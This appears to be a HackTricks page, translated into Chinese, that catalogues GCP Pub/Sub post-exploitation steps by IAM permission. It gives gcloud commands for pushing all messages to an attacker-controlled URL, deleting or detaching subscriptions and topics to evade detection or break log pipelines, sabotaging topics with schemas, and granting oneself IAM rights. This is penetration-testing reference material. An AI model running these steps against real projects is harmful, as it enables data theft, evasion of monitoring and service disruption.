GCP - Pub/Sub Post Exploitation

支持 HackTricks

Pub/Sub

有关 Pub/Sub 的更多信息,请查看以下页面:

pubsub.topics.publish

在主题中发布消息,适用于 发送意外数据 并触发意外功能或利用漏洞:

# Publish a message in a topic
gcloud pubsub topics publish <topic_name> --message "Hello!"

pubsub.topics.detachSubscription

有助于防止订阅接收消息,可能是为了避免被检测。

gcloud pubsub topics detach-subscription <FULL SUBSCRIPTION NAME>

pubsub.topics.delete

有助于防止订阅接收消息,可能是为了避免被检测。 即使有订阅附加在上,也可以删除主题。

gcloud pubsub topics delete <TOPIC NAME>

pubsub.topics.update

使用此权限更新主题的一些设置以干扰它,例如 --clear-schema-settings--message-retention-duration--message-storage-policy-allowed-regions--schema--schema-project--topic-encryption-key...

pubsub.topics.setIamPolicy

授予自己执行任何先前攻击的权限。

pubsub.subscriptions.create,pubsub.topics.attachSubscription , (pubsub.subscriptions.consume)

在网络服务器中获取所有消息:

# Crete push subscription and recieve all the messages instantly in your web server
gcloud pubsub subscriptions create <subscription name> --topic <topic name> --push-endpoint https://<URL to push to>

创建一个订阅并使用它来 拉取消息

# This will retrive a non ACKed message (and won't ACK it)
gcloud pubsub subscriptions create <subscription name> --topic <topic_name>

# You also need pubsub.subscriptions.consume for this
gcloud pubsub subscriptions pull <FULL SUBSCRIPTION NAME>
## This command will wait for a message to be posted

pubsub.subscriptions.delete

删除订阅 可能对破坏日志处理系统或类似的东西有用:

gcloud pubsub subscriptions delete <FULL SUBSCRIPTION NAME>

pubsub.subscriptions.update

使用此权限更新某些设置,以便消息存储在您可以访问的地方(URL、Big Query 表、Bucket)或仅仅是为了干扰它。

gcloud pubsub subscriptions update --push-endpoint <your URL> <subscription-name>

pubsub.subscriptions.setIamPolicy

授予自己执行之前评论的任何攻击所需的权限。

pubsub.schemas.attach, pubsub.topics.update,(pubsub.schemas.create)

将一个模式攻击到一个主题,以便消息不符合它,从而导致主题中断。 如果没有任何模式,您可能需要创建一个。

schema.json
{
"namespace": "com.example",
"type": "record",
"name": "Person",
"fields": [
{
"name": "name",
"type": "string"
},
{
"name": "age",
"type": "int"
}
]
}
# Attach new schema
gcloud pubsub topics update projects/<project-name>/topics/<topic-id> \
--schema=projects/<project-name>/schemas/<topic-id> \
--message-encoding=json

pubsub.schemas.delete

这可能看起来像是在删除一个模式,你将能够发送不符合该模式的消息。然而,由于模式将被删除,实际上没有消息会进入主题。因此这是无用的

gcloud pubsub schemas delete <SCHEMA NAME>

pubsub.schemas.setIamPolicy

授予自己执行之前评论的任何攻击所需的权限。

pubsub.snapshots.create, pubsub.snapshots.seek

这将创建所有未确认消息的快照并将它们放回订阅中。对于攻击者来说不是很有用,但这里是:

gcloud pubsub snapshots create YOUR_SNAPSHOT_NAME \
--subscription=YOUR_SUBSCRIPTION_NAME
gcloud pubsub subscriptions seek YOUR_SUBSCRIPTION_NAME \
--snapshot=YOUR_SNAPSHOT_NAME
支持 HackTricks

Last updated